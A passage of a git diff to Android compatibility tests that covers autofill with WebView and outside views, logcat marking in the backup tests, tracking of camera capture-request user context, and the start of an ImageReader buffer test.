             final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
             Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
@@ -164,9 +164,13 @@
         // Set service.
         enableService();
 
+        // Load WebView
+        mActivity.loadWebView();
+
         // Set expectations.
         sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
                 .build());
 
         // Trigger autofill.
@@ -193,8 +197,10 @@
 
         // Assert results
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
         if (INJECT_EVENTS) {
             Helper.assertTextAndValue(usernameNode, "u");
             Helper.assertTextAndValue(passwordNode, "p");
@@ -209,14 +215,18 @@
         // Set service.
         enableService();
 
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView();
+
         // Set expectations.
         final MyAutofillCallback callback = mActivity.registerCallback();
-        mActivity.mWebView.expectAutofill("dude", "sweet");
+        myWebView.expectAutofill("dude", "sweet");
         sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
                 .addDataset(new CannedDataset.Builder()
-                        .setField("username", "dude")
-                        .setField("password", "sweet")
+                        .setField(HTML_NAME_USERNAME, "dude")
+                        .setField(HTML_NAME_PASSWORD, "sweet")
                         .setPresentation(createPresentation("The Dude"))
                         .build())
                 .build());
@@ -225,22 +235,24 @@
         mActivity.getUsernameInput(sUiBot).click();
         final FillRequest fillRequest = sReplier.getNextFillRequest();
         sUiBot.assertDatasets("The Dude");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
 
         // Assert structure passed to service.
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
         Helper.assertTextIsSanitized(usernameNode);
         assertThat(usernameNode.isFocused()).isTrue();
         assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
         Helper.assertTextIsSanitized(passwordNode);
         assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
         assertThat(passwordNode.isFocused()).isFalse();
 
         // Autofill it.
         sUiBot.selectDataset("The Dude");
-        mActivity.mWebView.assertAutofilled();
-        callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+        myWebView.assertAutofilled();
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
 
         // Make sure screen was autofilled.
         assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -267,8 +279,10 @@
 
         // Assert results
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
-        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
         if (INJECT_EVENTS) {
             Helper.assertTextAndValue(usernameNode2, "dudeu");
             Helper.assertTextAndValue(passwordNode2, "sweetp");
@@ -277,4 +291,285 @@
             Helper.assertTextAndValue(passwordNode2, "SWEET");
         }
     }
+
+    @Test
+    public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load views
+        final MyWebView myWebView = mActivity.loadWebView();
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        sUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.getPasswordInput(sUiBot).click();
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        sUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Autofill it.
+        sUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+
+        myWebView.assertAutofilled();
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_U");
+            mActivity.getPasswordInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_P");
+        } else {
+            mActivity.getUsernameInput(sUiBot).setText("DUDE");
+            mActivity.getPasswordInput(sUiBot).setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
+        mActivity.getLoginButton(sUiBot).click();
+
+        // Assert save UI shown.
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
+
+
+    @Test
+    public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
+        if (true) return; // TODO(b/69461853): re-enable once WebView fixes it
+
+        // Set service.
+        enableService();
+
+        // Load outside views
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Now load Webiew
+        final MyWebView myWebView = mActivity.loadWebView();
+
+        // Set expectations
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        sUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        sUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        mActivity.getPasswordInput(sUiBot).click();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        sUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        // Autofill external views (2nd partition)
+        sUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Autofill Webview (1st partition)
+        mActivity.getUsernameInput(sUiBot).click();
+        callback.assertUiShownEventForVirtualChild(myWebView);
+        sUiBot.selectDataset("USER");
+        myWebView.assertAutofilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_U");
+            mActivity.getPasswordInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_P");
+        } else {
+            mActivity.getUsernameInput(sUiBot).setText("DUDE");
+            mActivity.getPasswordInput(sUiBot).setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
+        mActivity.getLoginButton(sUiBot).click();
+
+        // Assert save UI shown.
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
 }
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
index f04f9ea..343f2d9 100644
--- a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -78,9 +78,9 @@
         return output.contains("* " + LOCAL_TRANSPORT);
     }
 
-    /** See {@link LogcatInspector#clearAndMark(String)}. */
-    protected String clearLogcat() throws Exception {
-        return mLogcatInspector.clearAndMark(APP_LOG_TAG);
+    /** See {@link LogcatInspector#mark(String)}. */
+    protected String markLogcat() throws Exception {
+        return mLogcatInspector.mark(APP_LOG_TAG);
     }
 
     /** See {@link LogcatInspector#assertLogcatContainsInOrder(String, int, String...)}. */
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
index beefa01..9f81ecd 100644
--- a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -31,7 +31,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String backupSeparator = clearLogcat();
+        String backupSeparator = markLogcat();
 
         // Make sure there's something to backup
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -45,7 +45,7 @@
             "Full backup requested",
             "onDestroy");
 
-        String restoreSeparator = clearLogcat();
+        String restoreSeparator = markLogcat();
 
         // Now request restore and wait for it to complete
         exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
index 3924e87..56d489d 100644
--- a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -36,7 +36,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String separator = clearLogcat();
+        String separator = markLogcat();
         // Launch test app and create file exceeding limit for local transport
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
 
@@ -59,7 +59,7 @@
             Thread.sleep(3000);
         } catch (InterruptedException e) {}
 
-        String separator = clearLogcat();
+        String separator = markLogcat();
         exec("bmgr backupnow " + BACKUP_APP_NAME);
         waitForLogcat(TIMEOUT_SECONDS,separator,
             "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
index d957bbc..0bb5243 100644
--- a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -31,7 +31,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String backupSeparator = clearLogcat();
+        String backupSeparator = markLogcat();
 
         // Make sure there's something to backup
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -44,7 +44,7 @@
             "Backup requested",
             "onDestroy");
 
-        String restoreSeparator = clearLogcat();
+        String restoreSeparator = markLogcat();
 
         // Now request restore and wait for it to complete
         exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
index c29f810..6fca9ad 100644
--- a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -36,7 +36,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String separator = clearLogcat();
+        String separator = markLogcat();
         // Launch test app and create file exceeding limit for local transport
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
 
@@ -50,7 +50,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String separator = clearLogcat();
+        String separator = markLogcat();
         exec("bmgr backupnow " + BACKUP_APP_NAME);
         waitForLogcat(TIMEOUT_SECONDS, separator,
             "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 39b2d7e..166ec86 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -23,6 +23,7 @@
 #include <string>
 #include <map>
 #include <mutex>
+#include <vector>
 #include <unistd.h>
 #include <assert.h>
 #include <jni.h>
@@ -242,6 +243,11 @@
 
 class CaptureResultListener {
   public:
+    ~CaptureResultListener() {
+        std::unique_lock<std::mutex> l(mMutex);
+        clearSavedRequestsLocked();
+    }
+
     static void onCaptureStart(void* /*obj*/, ACameraCaptureSession* /*session*/,
             const ACaptureRequest* /*request*/, int64_t /*timestamp*/) {
         //Not used for now
@@ -253,7 +259,7 @@
     }
 
     static void onCaptureCompleted(void* obj, ACameraCaptureSession* /*session*/,
-            ACaptureRequest* /*request*/, const ACameraMetadata* result) {
+            ACaptureRequest* request, const ACameraMetadata* result) {
         ALOGV("%s", __FUNCTION__);
         if ((obj == nullptr) || (result == nullptr)) {
             return;
@@ -266,6 +272,11 @@
             ALOGE("Error: Sync frame number missing from result!");
             return;
         }
+
+        if (thiz->mSaveCompletedRequests) {
+            thiz->mCompletedRequests.push_back(ACaptureRequest_copy(request));
+        }
+
         thiz->mLastCompletedFrameNumber = entry.data.i64[0];
         thiz->mResultCondition.notify_one();
     }
@@ -354,23 +365,48 @@
         return ret;
     }
 
+    void setRequestSave(bool enable) {
+        std::unique_lock<std::mutex> l(mMutex);
+        if (!enable) {
+            clearSavedRequestsLocked();
+        }
+        mSaveCompletedRequests = enable;
+    }
+
+    // The lifecycle of returned ACaptureRequest* is still managed by CaptureResultListener
+    void getCompletedRequests(std::vector<ACaptureRequest*>* out) {
+        std::unique_lock<std::mutex> l(mMutex);
+        *out = mCompletedRequests;
+    }
+
     void reset() {
         std::lock_guard<std::mutex> lock(mMutex);
-        mLastSequenceIdCompleted = 0;
-        mLastSequenceFrameNumber = 0;
-        mLastCompletedFrameNumber = 0;
-        mLastLostFrameNumber = 0;
-        mLastFailedFrameNumber = 0;
+        mLastSequenceIdCompleted = -1;
+        mLastSequenceFrameNumber = -1;
+        mLastCompletedFrameNumber = -1;
+        mLastLostFrameNumber = -1;
+        mLastFailedFrameNumber = -1;
+        mSaveCompletedRequests = false;
+        clearSavedRequestsLocked();
     }
 
   private:
     std::mutex mMutex;
     std::condition_variable mResultCondition;
-    int64_t mLastSequenceIdCompleted;
-    int64_t mLastSequenceFrameNumber;
-    int64_t mLastCompletedFrameNumber;
-    int64_t mLastLostFrameNumber;
-    int64_t mLastFailedFrameNumber;
+    int mLastSequenceIdCompleted = -1;
+    int64_t mLastSequenceFrameNumber = -1;
+    int64_t mLastCompletedFrameNumber = -1;
+    int64_t mLastLostFrameNumber = -1;
+    int64_t mLastFailedFrameNumber = -1;
+    bool    mSaveCompletedRequests = false;
+    std::vector<ACaptureRequest*> mCompletedRequests;
+
+    void clearSavedRequestsLocked() {
+        for (ACaptureRequest* req : mCompletedRequests) {
+            ACaptureRequest_free(req);
+        }
+        mCompletedRequests.clear();
+    }
 };
 
 class ImageReaderListener {
@@ -892,6 +928,16 @@
         return ACAMERA_OK;
     }
 
+    // The output ACaptureRequest* is still managed by testcase class
+    camera_status_t getStillRequest(ACaptureRequest** out) {
+        if (mStillRequest == nullptr) {
+            ALOGE("Camera %s Still capture request hasn't been created", mCameraId);
+            return ACAMERA_ERROR_INVALID_PARAMETER;
+        }
+        *out = mStillRequest;
+        return ACAMERA_OK;
+    }
+
     camera_status_t startPreview(int *sequenceId = nullptr) {
         if (mSession == nullptr || mPreviewRequest == nullptr) {
             ALOGE("Testcase cannot start preview: session %p, preview request %p",
@@ -949,6 +995,18 @@
                 mSession, nullptr, 1, &mStillRequest, &seqId);
     }
 
+    camera_status_t capture(ACaptureRequest* request,
+            ACameraCaptureSession_captureCallbacks* listener,
+            /*out*/int* seqId) {
+        if (mSession == nullptr || request == nullptr) {
+            ALOGE("Testcase cannot capture session: session %p, request %p",
+                    mSession, request);
+            return ACAMERA_ERROR_UNKNOWN;
+        }
+        return ACameraCaptureSession_capture(
+                mSession, listener, 1, &request, seqId);
+    }
+
     camera_status_t resetWithErrorLog() {
         camera_status_t ret;
 
@@ -1446,6 +1504,34 @@
                 }
             }
 
+            void* context = nullptr;
+            ret = ACaptureRequest_getUserContext(request, &context);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+                goto cleanup;
+            }
+            if (context != nullptr) {
+                LOG_ERROR(errorString, "Capture request context is not null: %p", context);
+                goto cleanup;
+            }
+
+            intptr_t magic_num = 0xBEEF;
+            ret = ACaptureRequest_setUserContext(request, (void*) magic_num);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Set capture request context failed: ret %d", ret);
+                goto cleanup;
+            }
+
+            ret = ACaptureRequest_getUserContext(request, &context);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+                goto cleanup;
+            }
+            if (context != (void*) magic_num) {
+                LOG_ERROR(errorString, "Capture request context is wrong: %p", context);
+                goto cleanup;
+            }
+
             // try get/set capture request fields
             ACameraMetadata_const_entry entry;
             ret = ACaptureRequest_getConstEntry(request, ACAMERA_CONTROL_AE_MODE, &entry);
@@ -2111,14 +2197,68 @@
             goto cleanup;
         }
 
+        CaptureResultListener resultListener;
+        ACameraCaptureSession_captureCallbacks resultCb {
+            &resultListener,
+            CaptureResultListener::onCaptureStart,
+            CaptureResultListener::onCaptureProgressed,
+            CaptureResultListener::onCaptureCompleted,
+            CaptureResultListener::onCaptureFailed,
+            CaptureResultListener::onCaptureSequenceCompleted,
+            CaptureResultListener::onCaptureSequenceAborted,
+            CaptureResultListener::onCaptureBufferLost
+        };
+        resultListener.setRequestSave(true);
+        ACaptureRequest* requestTemplate = nullptr;
+        ret = testCase.getStillRequest(&requestTemplate);
+        if (ret != ACAMERA_OK || requestTemplate == nullptr) {
+            // Don't log error here. testcase did it
+            goto cleanup;
+        }
+
         // Do some still capture
-        for (int capture = 0; capture < NUM_TEST_IMAGES; capture++) {
-            ret = testCase.takePicture();
+        int lastSeqId = -1;
+        for (intptr_t capture = 0; capture < NUM_TEST_IMAGES; capture++) {
+            ACaptureRequest* req = ACaptureRequest_copy(requestTemplate);
+            ACaptureRequest_setUserContext(req, (void*) capture);
+            int seqId;
+            ret = testCase.capture(req, &resultCb, &seqId);
             if (ret != ACAMERA_OK) {
-                LOG_ERROR(errorString, "Camera %s capture(%d) failed. ret %d",
+                LOG_ERROR(errorString, "Camera %s capture(%" PRIdPTR ") failed. ret %d",
                         cameraId, capture, ret);
                 goto cleanup;
             }
+            if (capture == NUM_TEST_IMAGES - 1) {
+                lastSeqId = seqId;
+            }
+            ACaptureRequest_free(req);
+        }
+
+        // wait until last sequence complete
+        resultListener.getCaptureSequenceLastFrameNumber(lastSeqId, /*timeoutSec*/ 3);
+
+        std::vector<ACaptureRequest*> completedRequests;
+        resultListener.getCompletedRequests(&completedRequests);
+
+        if (completedRequests.size() != NUM_TEST_IMAGES) {
+            LOG_ERROR(errorString, "Camera %s fails to capture %d capture results. Got %zu",
+                    cameraId, NUM_TEST_IMAGES, completedRequests.size());
+            goto cleanup;
+        }
+
+        for (intptr_t i = 0; i < NUM_TEST_IMAGES; i++) {
+            intptr_t userContext = -1;
+            ret = ACaptureRequest_getUserContext(completedRequests[i], (void**) &userContext);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Camera %s fails to get request user context", cameraId);
+                goto cleanup;
+            }
+
+            if (userContext != i) {
+                LOG_ERROR(errorString, "Camera %s fails to return matching user context. "
+                        "Expect %" PRIdPTR ", got %" PRIdPTR, cameraId, i, userContext);
+                goto cleanup;
+            }
         }
 
         // wait until all capture finished
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index bd01d21..96f363c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -553,6 +553,21 @@
     }
 
     /**
+     * Test that images captured after discarding free buffers are valid.
+     */
+    public void testDiscardFreeBuffers() throws Exception {
+        for (String id : mCameraIds) {
+            try {
+                Log.v(TAG, "Testing jpeg capture for Camera " + id);
+                openDevice(id);
+                discardFreeBuffersTestByCamera();
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    /**
      * Convert a rectangular patch in a YUV image to an ARGB color array.
      *
      * @param w width of the patch.
@@ -762,6 +777,38 @@
         imageInvalidAccessTestAfterClose(img, firstPlane, buffer);
     }
 
+    /**
+     * Test that images captured after discarding free buffers are valid.
+     */
+    private void discardFreeBuffersTestByCamera() throws Exception {
+        final int FORMAT = mStaticInfo.isColorOutputSupported() ?
+            ImageFormat.YUV_420_888 : ImageFormat.DEPTH16;
+
+        final Size SIZE = mStaticInfo.getAvailableSizesForFormatChecked(FORMAT,
+                StaticMetadata.StreamDirection.Output)[0];
+        Image img = null;
+        // Create ImageReader.
+        mListener = new SimpleImageListener();
+        createDefaultImageReader(SIZE, FORMAT, MAX_NUM_IMAGES, mListener);
+
+        // Start capture.
+        final boolean REPEATING = true;
